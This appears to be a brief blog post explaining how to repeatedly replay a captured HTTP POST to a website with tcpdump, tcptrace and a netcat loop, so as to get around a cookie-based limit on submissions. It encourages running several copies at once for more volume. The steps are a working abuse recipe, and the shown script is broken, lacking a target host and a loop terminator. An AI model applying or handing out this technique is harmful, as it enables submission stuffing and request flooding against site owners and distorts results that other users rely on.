HTTP POST replay with NetCat

This post is more for record keeping than anything else … that and I haven’t written a thing on this site in a couple years I think.

So the story goes you want to “submit” (HTTP POST) the same thing to a web site a bunch of times and the only control the genius web designer put in your way was a cookie.  Here is how ya do it.


  1.  Start up your web browser
  2. Navigate to the URL
  3. Delete ALL cookies
  4. Open a shell (Bash or whatever)
  5. Start tcpdump
    tcpdump -i wlan0 dst port 80 -w replay.cap
  6. Go back to the web page and go through the actions to submit whatever it is that you want
  7. Go back to the shell and CTRL C to stop the dump
  8. Separate the sessions in the pcap
    tcptrace –output_dir=/root/ -e replay.cap
  9. Now sort through all the files created for the HTTP POST
  10. Write up the bash script
    while [ $x -le 250 ]; do
    cat a2b_contents.dat | nc 80
    x=$(( $x + 1 ))
  11. Kick ‘er off!
  12. Run multiple instances of the script if you have the bandwidth

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